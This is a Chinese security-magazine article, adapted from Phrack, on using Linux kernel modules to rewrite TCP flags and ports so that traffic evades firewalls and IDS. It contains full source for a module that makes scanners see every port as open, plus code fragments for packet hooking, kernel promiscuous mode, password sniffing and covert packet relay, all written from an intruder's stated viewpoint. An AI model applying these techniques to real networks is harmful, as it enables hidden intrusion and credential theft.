首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第14期->技术专题
期刊号: 类型: 关键词:
利用LLKM处理网络通信---对抗IDS、Firewall

作者:kossak (mailto: kossak@hackers-pt.org)
整理:小四 (mailto: scz@nsfocus.com)
出处:Phrack Magazine 55-12
主页:http://www.nsfocus.com
日期:2000-10-07

★ 前言

    事实上我并没有翻译Phrack 55-12,它的文字如此之少,当然必须承认其中闪烁
的智慧之光。阅读lifeline < mailto: arai@hackers-pt.org >的程序,它就在文章
里,然后再来看这篇文章。

★ 目录

    1. IDS、Firewall的某些特性
    2. LLKM能做什么
    3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为
    4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位
    5. 另外一种截留本机发送报文、修改、再发送技术
    6. 内核模块里设置混杂模式
    7. 内核模块里文件I/O操作
    8. 内核包转发的讨论

★ 正文

1. IDS、Firewall的某些特性

    以snort为例,其大量IDS规则对TCP的PSH、ACK、SYN标志进行判断。比如,在
syn-flood告警中,判断短时间内出现的大量SYN包。而更多的对TCP数据区进行内容
鉴别前,判断了PSH+ACK标志。具体snort规则请参看snort源代码包中举例。

    Firewall阻塞来自外部的TCP连接请求时,需要判断SYN标志。

    IDS和Firewall还有个更重要的通性,对端口的敏感性。21、23、110、513等端
口都属于敏感端口,许多告警规则、阻塞规则是基于端口的。

2. LLKM能做什么

    利用LLKM简单、临时改变TCP/IP协议栈的行为。考虑三种情况:

    a. 更改出现在网络传输线路上的TCP标志位
    b. 更改出现在网络传输线路上的端口
    c. 对IP数据区(TCP协议部分)加密处理后传输

                       |
           |           |            |
A Host ----+-----   firewall   -----+---- B Host
(内部)     |           |            |     (外部)
           |           |            |
     C Host(IDS系统)   |      D Host(普通Sniffer)
                       |

    假设A和B都是我们控制的主机,在这两台主机上都加载LLKM。防火墙不允许来自
外部的任何TCP连接请求,它靠的是判断SYN标志。现在B想telnet到A,LLKM将把B到A
的SYN标志换成ACK、PSH、RST、RES1、RES2中的任意一个或者几个的组合,以能渗透
通过防火墙为原则;A上的LLKM先于正常的TCP/IP协议栈接收到这个扭曲处理了的请
求报文,按照约定好的规则逆向处理,恢复SYN标志后再交给正常的TCP/IP协议栈处
理。同样,A回送SYN+ACK到B的时候,也做一些转换,B上LLKM会恢复成正常的
SYN+ACK。对于A、B上的TCP/IP协议栈,它们意识不到发生过转换,用netstat -na看
到的还是正常的、意料中的状态。对于防火墙,意识不到已经从外部主机成功访问了
内部主机。对于C、D,会看到奇怪的TCP标志出现。在做标志转换时,还需要考虑对
抗IDS规则,因具体情况而定。比如,避免在网络传输中出现PSH+ACK标志。

    防火墙和IDS对端口相当敏感,比如不允许telnet、ftp协议通过,只允许http协
议通过。要做的仅仅是让A、B把23端口换成80端口出现在网络传输中。可能有人认为
修改双方的/etc/services文件更好些,当然,那也是一种可行的考虑。不过有太多
情况下利用LLKM动态修改端口更彻底更灵活。至于IDS,对于大多数非周知端口并不
敏感,意味着逃脱了监测。

    最后要做的就是对IP数据区进行加密传输,IPSec能做到,可我需要的可能仅仅
是异或处理,仅仅是避开IDS的端口监测、内容监测。一个简单的insmod就能完成的
任务为什么一定要搬出IPSec呢。

3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为

    例子程序的想法来自华中地区网络中心(bbs.whnet.edu.cn)Security版的
difeijing朋友,同时感谢AngelFalls朋友参与该版讨论,并提供了八篇谢绝转站的
<<Linux的TCP/IP协议栈阅读笔记>>。

    程序演示了

    a. LLKM的基本框架和技巧    
    b. 利用dev_add_pack()对本机即将发送出去的报文进行修改再发送

    syn半开扫描依赖于被扫描主机返回ACK+RST标志和ACK+SYN标志两种情况,前者
意味着相应端口未开。connect扫描则完全依赖TCP连接的成功建立。difeijing提出
了这样一个想法,利用LLKM转换ACK+RST成ACK+SYN,此时syn半开扫描和connect扫描
都将认定相应端口是打开的。

--------------------------------------------------------------------------
/*
* File    : openallport.c
* Author  : scz < mailto: scz@nsfocus.com >
*         : http://www.nsfocus.com
* Kernel  : 2.2.16 or 2.2.14
* Complie : gcc -O3 -DMODULE -D__KERNEL__ -c openallport.c
* Usage   : insmod openallport.o [dev=eth0] -x -y -f
* Date    : 2000-10-10 17:40
*/

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/netdevice.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>

/*
* 2.2.16内核的/usr/include/linux/version.h文件里定义了这个宏
* 但2.0.35内核里没有定义
*/
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
#include <asm/uaccess.h>
#endif

static struct device * openallport_dev = NULL;
static char *          dev         = NULL;

/* 定义insmod命令行参数 */
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
MODULE_PARM( dev, "s" );
#endif

static inline u_long csum_tcpudp_nofold ( u_long saddr, u_long daddr,
                                          u_short len, u_short proto,
                                          unsigned int sum )
{
    __asm__
    ("
    addl %1, %0
    adcl %2, %0
    adcl %3, %0
    adcl $0, %0
    "
    : "=r" ( sum )
    : "g" ( daddr ), "g" ( saddr ), "g" ( ( ntohs( len ) << 16 ) + proto * 256 ), "0" ( sum )
    );
    return sum;
}

static inline unsigned int csum_fold ( unsigned int sum )
{
    __asm__
    ("
    addl %1, %0
    adcl $0xffff, %0
    "
    : "=r" ( sum )
    : "r" ( sum << 16 ), "0" ( sum & 0xffff0000 )
    );
    return( ( ~sum ) >> 16 );
}  /* end of csum_fold */

static inline u_short check_tcpudp ( u_long saddr, u_long daddr,
                                     u_short len, u_short proto,
                                     unsigned int sum )
{
    return( csum_fold( csum_tcpudp_nofold( saddr, daddr, len, proto, sum ) ) );
}  /* end of check_tcpudp */

int openallport_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
{
    /* 注意pkt_type是什么 */
    if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
    {
        if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
        {
            skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
            if ( ( skb->h.th->ack == 1 ) && ( skb->h.th->rst == 1 ) )
            {
                u_short size;
                int     doff = 0;

                skb->h.th->rst   = 0;
                skb->h.th->syn   = 1;
                size             = ntohs( skb->nh.iph->tot_len ) - ( skb->nh.iph->ihl * 4 );  /* IP数据区长度 */
                doff             = skb->h.th->doff << 2;  /* TCP头部长度 */
                /* 重新计算校验和 */
                skb->csum        = 0;
                skb->csum        = csum_partial( skb->h.raw + doff, size - doff, 0 );  /* data checksum */
                skb->h.th->check = 0;
                skb->h.th->check = check_tcpudp( skb->nh.iph->saddr,  /* tcp or udp checksum */
                                                 skb->nh.iph->daddr,
                                                 size,
                                                 IPPROTO_TCP,
                                                 csum_partial( skb->h.raw, doff, skb->csum ) );
            }
        }
    }
    kfree_skb( skb );
    return( 0 );
}  /* end of openallport_rcv */

static struct packet_type openallport_packet_type =
{
    __constant_htons( ETH_P_ALL ),  /* 此时可以接收到来自lo的回送报文,比如本机发送出去的 */
    NULL,  /* All devices */
    openallport_rcv,
    NULL,  /* 如果是2.4内核,这里可以考虑设置成非零,但是openallport_rcv需要改变 */
    NULL,
};

int init_module ( void )  /* 模块初始化 */
{
    if ( dev != NULL )
    {
        openallport_dev = dev_get( dev );
        if ( openallport_dev != NULL )
        {
            openallport_packet_type.dev = openallport_dev;
        }
    }
    dev_add_pack( &openallport_packet_type );
    EXPORT_NO_SYMBOLS;
    return( 0 );
}  /* end of init_module */

void cleanup_module ( void )  /* 模块卸载 */
{
    dev_remove_pack( &openallport_packet_type );
    return;
}  /* end of cleanup_module */
--------------------------------------------------------------------------

openallport_packet_type变量的第一个成员必须是__constant_htons( ETH_P_ALL ),
而不能是__constant_htons( ETH_P_IP ),否则无法获取PACKET_OUTGOING类型的报
文。更改TCP标志后必须重新计算TCP校验和。

    现在我们看看会发生什么。对加载了该模块的主机进行扫描,发现所有端口都是
打开的。对于connect扫描,如果指定端口并未打开,将出现如下序列:

    A  -----SYN-----> B
    A <---ACK+SYN---  B  <---- 这里本来应该是 A <---ACK+RST---  B
    A  -----ACK-----> B  <---- 由于上面的误导,使得A认为TCP连接建立成功
    A <-----RST-----  B  <---- B已经销毁了TCP自动机,理所当然只能返回RST

    必须意识到,此时主机A上的TCP自动机会进入ESTABLISHED状态,直到收到第四
步的RST才开始销毁。

    首先,这个模块使扫描方无法快速断定打开的端口,只能利用客户端软件真实连
接测试。其次,采用connect方式扫描的主机本身负载加大。个人并不认为这个模块
很有用,但的确很搞笑,我喜欢,再次感谢difeijing的想法。

4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位

    3中已经演示了如何更改标志。如果A、B主机都加载LLKM的话,没有必要重新计
算TCP校验和,因为A侧的修改到了B侧会被还原恢复。在网络传输线路上,IP头部校
验和才是最重要的,而作为IP数据区的TCP校验和只对TCP协议处理部分有意义。3中
仅仅修改了TCP标识,并不需要重新计算IP头部校验和。

    lifeline想实现而没有实现的是仅仅在TCP_LISTEN、TCP_SYN_SENT 和
TCP_SYN_RECV三个状态下才更改TCP标志。现在问题集中在如何获取当前TCP自动机状
态。struct sk_buff {}里有一个成员:

struct sock * sk;  /* Socket we are owned by */

sk->state用于存放自动机状态。但是对于我们所处的位置xxx_rcv()回调函数,
PACKET_OUTGOING和PACKET_HOST两种情况下,该值(sk)均尚未正确赋值,并不能如你
所想象的那样,使用skb->sk->state获取当前TCP自动机状态。对于PACKET_OUTGOING
情形,可用如下代码观察确定:

--------------------------------------------------------------------------
int getsk_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
{
    /* 注意pkt_type是什么 */
    if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
    {
        if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
        {
            skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
            if ( skb->sk != NULL )  /* 显然此时sk成员并没有被赋予适当的值 */
            {
                switch ( skb->sk->state )
                {
                case TCP_LISTEN:
                    printk( "TCP_LISTEN\n" );
                    break;
                case TCP_SYN_SENT:
                    printk( "TCP_SYN_SENT\n" );
                    break;
                case TCP_SYN_RECV:
                    printk( "TCP_SYN_RECV\n" );
                    break;
                case TCP_ESTABLISHED:
                    printk( "TCP_ESTABLISHED\n" );
                    break;
                default:
                    printk( "what\n" );
                    break;
                }  /* end of switch */
            }
            else
            {
                printk( "here\n" );
            }
        }
    }
    kfree_skb( skb );
    return( 0 );
}  /* end of getsk_rcv */
--------------------------------------------------------------------------

PACKET_HOST情形呢,刚刚从链路层上来,sk是否指向有效数据区呢?其实在上述代
码中用printk()观察一下即可。也可以观察ip_input.c里ip_rcv()流程中是否处理了
sk这个成员。据观察,tcp_ipv4.c里的tcp_v4_rcv()自己调用了内核函数获取sk,显
然接收过程中来自链路层的sk不可用。

    在做了某些尝试后,决定直接使用内核未输出的函数tcp_v4_lookup(),也就是
tcp_v4_rcv()里用来获取TCP自动机状态的那个函数。用ksyms -a命令,或者
cat /proc/ksyms查看内核是否输出了某个函数func(),如果输出了就可以在modules
中直接使用函数名(符号)调用它。遗憾的是(对于我们这种不守清规戒律的而言),内
核里大量有用的函数并未输出,怎么办?

    还记得编译内核时产生的System.map吗。cat System.map | grep tcp_v4_lookup
看看你得到了什么,一个函数指针!听到天使敲门的声音了吗(大兔子语),我听到了:

--------------------------------------------------------------------------
static u_long tcpfunc = 0;

/* 定义insmod命令行参数 */
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
MODULE_PARM( tcpfunc, "l" );  /* 指向内核函数的指针 */
#endif

typedef struct sock * ( *funcPointer ) ( u32 saddr, u16 sport, u32 daddr, u16 dport, int dif );

static funcPointer orig_tcp_v4_lookup;

int init_module ( void )  /* 模块初始化 */
{
    ... ...
    if ( tcpfunc == 0 )
    {
        printk( "Error: missing tcpfunc\n" );
        return( -ENXIO );
    }
    orig_tcp_v4_lookup = ( funcPointer )tcpfunc;
    ... ...
    return( 0 );
}  /* end of init_module */
--------------------------------------------------------------------------
    
    这样的代码和内核是紧耦合的,并不推荐如此使用内核未输出的函数,作为一种
纯技术讨论意义上应用提供上来。必须留心所使用的System.map应该是当前内核对应
的那个,每次重新编译内核都会产生新的System.map。从安全角度出发,强烈建议删
除该文件,klogd和ps会用到它而已。

    下面是自己的antiids.c中的实现片段:

--------------------------------------------------------------------------
switch ( sk->state )
{
case TCP_LISTEN:  /* 作为server等待来自client的SYN */
    if ( skb->h.th->fin == 1 )
    {
        skb->h.th->fin = 0;
        skb->h.th->syn = 1;
    }
    break;
case TCP_SYN_SENT:  /* 作为client主动发起连接请求,等待来自server的ACK+SYN */
    if ( ( skb->h.th->res1 == 1 ) && ( skb->h.th->rst == 1 ) )
    {
        /* RES1 + RST --> SYN + ACK */
        skb->h.th->res1 = 0;
        skb->h.th->syn  = 1;
        skb->h.th->rst  = 0;
        skb->h.th->ack  = 1;
    }
    break;
case TCP_ESTABLISHED:  /* 在连接保持状态,伪装PSH+ACK */
    if ( ( skb->h.th->fin == 1 ) && ( skb->h.th->res1 == 1 ) )
    {
        /* FIN + RES1 --> PSH + ACK */
        skb->h.th->fin  = 0;
        skb->h.th->psh  = 1;
        skb->h.th->res1 = 0;
        skb->h.th->ack  = 1;
    }
    break;
default:
    break;
}  /* end of switch */
if ( skb->h.th->res1 == 2 )
{
    skb->h.th->res1 = 0;
    skb->h.th->ack  = 1;
}
--------------------------------------------------------------------------

    这里给的是PACKET_HOST情形下的处理流程,PACKET_OUTGOING情形下的处理流程
类似,注意反过来啊。你并不一定要这样伪装,我这样做是为了渗透防火墙、对抗某
些IDS。假设主机D是SPARC/Solaris系统,运行如下命令:

/usr/sbin/snoop -V tcp and src host A and dst host B

观察加载LLKM之后的A、B通信过程,确认没有SYN、PSH、ACK标志出现在网络传输线
路上。

5. 另外一种截留本机发送报文、修改、再发送技术

/usr/src/linux-2.2.16/include/linux/netdevice.h里定义了

struct device
{
    ...
    int ( *hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );
    ...
}

2.4内核里这个结构名字叫struct net_device {}

这个回调函数会在本机发送报文时被调用,我们采用传统的hook技术挂接它即可:

--------------------------------------------------------------------------
int ( *orig_hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );

int antiids_hard_start_xmit ( struct sk_buff * skb, struct device * dev )
{
    if ( skb->protocol == __constant_htons( ETH_P_IP) )
    {
        if ( skb->nh.iph->version == 4 )  /* 不考虑ipv6 */
        {
            /* 这个修正不再必要 */
            // skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 ) );
            /* 注意pkt_type是什么 */
            if ( ( skb->pkt_type == PACKET_HOST ) && ( skb->nh.iph->daddr == magic_ip ) )
            {
                // 既然antiids_rcv足以影响发送,就没有必要在这里hook什么了
                /*
                if ( skb->h.th->dest == htons( port ) )
                {
                    skb->h.th->dest = htons( fakeport );
                }
                if ( skb->h.th->source == htons( port ) )
                {
                    skb->h.th->source = htons( fakeport );
                }
                */
            }
        }
    }
    return( orig_hard_start_xmit( skb, dev ) );  /* 调用原来的底层发送函数 */
}  /* end of antiids_hard_start_xmit */

int init_module ( void )  /* 模块初始化 */
{
    ... ...
    orig_hard_start_xmit = NULL;
    if ( dev != NULL )
    {
        antiids_dev = dev_get( dev );
        if ( antiids_dev != NULL )
        {
            /* hook底层发送函数 */
            orig_hard_start_xmit         = antiids_dev->hard_start_xmit;
            antiids_dev->hard_start_xmit = &antiids_hard_start_xmit;
        }
    }
    ... ...
    return( 0 );
}  /* end of init_module */

void cleanup_module ( void )  /* 模块卸载 */
{
    ... ...
    if ( antiids_dev != NULL )
    {
        if ( orig_hard_start_xmit != NULL )
        {
            /* 去掉钩子函数 */
            antiids_dev->hard_start_xmit = orig_hard_start_xmit;
        }
    }
    ... ...
    return;
}  /* end of cleanup_module */
--------------------------------------------------------------------------

    这种技术和antiids_rcv()相比,需要在insmod命令行上指定具体设备名(诸如
eth0),因为只能hook具体设备上的回调函数hard_start_xmit(),而antiids_rcv()
可以影响所有设备。正如注释所言,既然antiids_rcv足以影响发送,没有必要在这
里hook,写在这里是不想让一段技术探索毫无痕迹地消失。

6. 内核模块里设置混杂模式

    yawl给出了详细的源代码搜索过程,difeijing贴过一个可用的C程序,细节讨论
请参看华中地区网络中心(bbs.whnet.edu.cn)Security版。下列代码是他们二位的成
果,:-)

--------------------------------------------------------------------------
int init_module ( void )  /* 模块初始化 */
{
    ... ...
    if ( dev != NULL )
    {
        kernelsniffer_dev = dev_get( dev );
        if ( kernelsniffer_dev != NULL )
        {
            /* thanks for difeijing of whnet's Security */
            old_flags                  = kernelsniffer_dev->flags;
            old_gflags                 = kernelsniffer_dev->gflags;
            /*
             * 参看net/core/dev.c里的dev_change_flags()
             * ->gflags的作用是避免多次重复设置混杂模式,没有其他特别含义
             */
            /* 设置混杂模式 */
            kernelsniffer_dev->flags  |= IFF_PROMISC;
            kernelsniffer_dev->gflags |= IFF_PROMISC;
            start_bh_atomic();
            /* 注意,这个回调函数还是会报告 eth0: Setting promiscuous mode. */
            kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
            end_bh_atomic();
        }
    }
    ... ...
    EXPORT_NO_SYMBOLS;
    return( 0 );
}  /* end of init_module */

void cleanup_module ( void )  /* 模块卸载 */
{
    ... ...
    if ( kernelsniffer_dev != NULL )
    {
        /* 恢复原有模式 */
        kernelsniffer_dev->flags  = old_flags;
        kernelsniffer_dev->gflags = old_gflags;
        start_bh_atomic();
        kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
        end_bh_atomic();
    }
    return;
}  /* end of cleanup_module */
--------------------------------------------------------------------------

    阅读net/core/dev.c里的dev_change_flags()函数(这个函数内核未输出),一路
跟踪下去,gflags成员的作用是避免多次重复设置混杂模式,没有其他特别含义。如
果这里你没有给gflags置1,下次其他程序设置混杂模式时也会置1的。

    set_multicast_list()回调函数会报告"eth0: Setting promiscuous mode.",
换句话说,写内核的人报告了一次,写网卡驱动的人又报告了一次,看来他们生怕你
偷偷摸摸进入网卡混杂模式。yawl曾以为绕过内核的报告就避免这类警告信息出现,
失算了。

7. 内核模块里文件I/O操作

--------------------------------------------------------------------------
void deleteNode ( ... )
{
    char out[ MAXDATALEN + SAFEPADLEN ];

    ... ...
    sprintf( out, "\n[  end   ]\n" );
    kernel_writefile( out, strlen( out ) );
    ... ...
    return;
}  /* end of deleteNode */

void kernel_writefile ( char * byteArray, int byteArrayLen )
{
    mm_segment_t fs;

    fs = get_fs();
    set_fs( KERNEL_DS );  /* 允许访问4GB虚拟地址空间 */
    down( &loginode->i_sem );  /* 在临界区down()一个信号量 */
    logfile->f_op->write( logfile, byteArray, byteArrayLen, &logfile->f_pos );
    up( &loginode->i_sem );  /* 在临界区up()一个信号量 */
    set_fs( fs );
    return;
}  /* end of kernel_writefile */

int init_module ( void )  /* 模块初始化 */
{
    if ( log != NULL )
    {
        if ( strlen( log ) <= LOGNAMELEN )
        {
            strcpy( logfilename, log );
        }
    }
    /* 对于入侵,这里不采用创建模式更好些,只是需要提前手工创建日志文件而已 */
    logfile   = filp_open( logfilename, O_CREAT | O_WRONLY | O_APPEND, 0 );  /* 打开文件 */
    if ( IS_ERR( logfile ) )  /* 打开失败 */
    {
        int errno;

        errno = PTR_ERR( logfile );
        printk( "errno = %i\n", errno );
        return( -ENXIO );
    }
    loginode  = logfile->f_dentry->d_inode;
    if ( !S_ISREG( loginode->i_mode ) )  /* 非普通文件 */
    {
        fput( logfile );  /* 关闭文件 */
        printk( "Not a regular file.\n" );
        return( -ENXIO );
    }
    ... ...
    EXPORT_NO_SYMBOLS;
    return( 0 );
}  /* end of init_module */

void cleanup_module ( void )  /* 模块卸载 */
{
    ... ...
    if ( logfile != NULL )
    {
        fput( logfile );  /* 关闭日志文件 */
    }
    ... ...
    return;
}  /* end of cleanup_module */
--------------------------------------------------------------------------

    get_fs()和set_fs()操作没有必要,内核模块本来就可以访问4GB虚拟地址空间。
以前很多LLKM文章介绍内核模块里文件I/O时采用系统调用SYS_open,而这里采用输
出过的内核函数filp_open(),显然更方便。->write()是设备上的回调函数,在
<<利用Linux可加载内核模块进行TTY Hijacking>>里详细介绍过了。这比SYS_write
系统调用快很多。为了减少内核模块里的文件I/O,尽量一次多组织数据,降低对
->write()的回调次数。

    kossak < mailto: kossak@hackers-pt.org >在自己的内核sniffer中介绍了上
述技术。并不需要他那些过滤、重组技术,我们要做的是Password Sniffer,对此比
较好的实现来自Michael R. Widner's Password Sniffer for SPARC/Solaris,尽管
Michael R. Widner公布的代码不美观,仔细看下去觉得其相当实用并充满技巧性,
可以从packetstorm获取它的源代码,并移植到这里来,我正是这样做的。

    内核级Password Sniffer和传统技术相比,尚未看出好处,ps自然是无法找到它
了,如果结合LLKM隐藏技术倒是很有前途。不知道SPARC/Solaris下有无可能编写内
核级Password Sniffer。

8. 内核包转发的讨论

kossak的内核包转发实现有个问题,对MAC地址的处理上。

A ------------ B ------------ C

假设这个kernelrelay.c加载到了B,A访问B的23端口时,B会转发报文到C,反之亦然。

A -----------> B 模块将获取如下所示报文
                 aMac --> bMac + aIp --> bIp + aPort --> cPort

               B -----------> C

                 模块做如下所示转换
                 bMac --> cMac + bIp --> cIp + aPort --> cPort

                 在这里需要重新计算IP校验和、TCP校验和,尤其是TCP校验和。
                 虽然端口没有改变,但是TCP校验和涉及到伪头标,IP地址的改变
                 会影响到TCP校验和。

               B <----------- C

                 模块将获取如下所示报文
                 bMac <-- cMac + bIp <-- cIp + aPort <-- cPort


A <----------- B 模块做如下所示转换
                 aMac <-- bMac + aIp <-- bIp + aPort <-- cPort

                 同样在这里需要重新计算IP校验和、TCP校验和。

    不讨论何时才进行这种转发,现在来看看上面图示。在B上加载kernelrelay.o的
时候,仅仅知道要对A、C之间的报文转发,A->B的时候我们可以记录下A的MAC,但C
的MAC谁来告诉B上的kernelrelay.o?不要告诉我你要做ARP解析啊。kossak在这里的
实现很令人费解,自己读读源代码吧。我的解决办法是,A-->B的时候记录A的MAC,
B<--C的时候记录C的MAC,那么第一次B-->C的时候用什么做目标MAC呢?用全0xff的
广播MAC地址!这种解决办法有很多缺陷。第一,每次记录源MAC地址,很容易遭受恶
意的MAC地址欺骗,呵,我们本来就是入侵者,到头来还怕螳螂捕蝉黄雀在后。第二,
使用广播MAC地址将严重依赖于目标系统(这里就是C)对广播地址的反应。当C是
SPARC/Solaris的时候,效果最好。当B上的kernelrelay.o获取了A、C的MAC地址之后,
就不再使用广播MAC地址,此后的双向通信顺畅。前面已经演示了如何在内核模块里
计算TCP校验和。只需要在此之后调用:

ip_send_check( skb->nh.iph );  /* ip checksum */

重新计算IP校验和即可。struct packet_type kernelrelay_packet_type的第一个成
员赋值__constant_htons( ETH_P_IP )即可,内核包转发并不需要处理
PACKET_OUTGOING报文。

    内核级包转发的直接好处是,在B上使用netstat -na看不到与A、C通信相关的
TCP自动机状态,在B上使用ps也看不到异常进程,结合LLKM隐藏技术后相当高效、隐
蔽。而在C上看到的TCP自动机反应的是和B的通信。这种转发对B的IP协议处理没有冲
击,kernelrelay_rcv()中会做如下赋值:

skb->pkt_type = PACKET_OUTGOING;

后续的ip_rcv()不会把它当作PACKET_HOST类型报文处理。具体请用Source Insight
跟踪/usr/src/linux-2.2.16/net/ipv4/ip_input.c。

★ 后记

    内核模块编程有很多非常细微的技巧,我对Linux Kernel一窍不通,此次被迫翻
阅内核实现,小吱吱 < mailto: yawl@nsfocus.com >帮助我建立了2.2.17和2.4两个
源代码工程,在NetGuy < mailto: netguy@nsfocus.com >帮助下再次捡起Source
Insight这个利器。要做LLKM研究,想必你也会走同一条路的。openallport.c因为不
具有攻击性,我给出了完整源代码,给lifeline发送了一份完整的antiids.c,至于
kernelrelay.c和kernelsniffer.c的完整增强实现并不打算提供给script kiddies,
原作者是这个意思。如果是Programmer之间的技术讨论,欢迎之至。

    出于对原作和原作曾经参考过的资料的尊重,附上参考文献列表,而这里没有列
举的最好的参考资料应该是Linux源代码树。

[参考文献]

1. The Linux Kernel by David A. Rusling
2. TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
3. Phrack Issue 52, article 18 (P52-18) by plaguez.

<完>
版权所有,未经许可,不得转载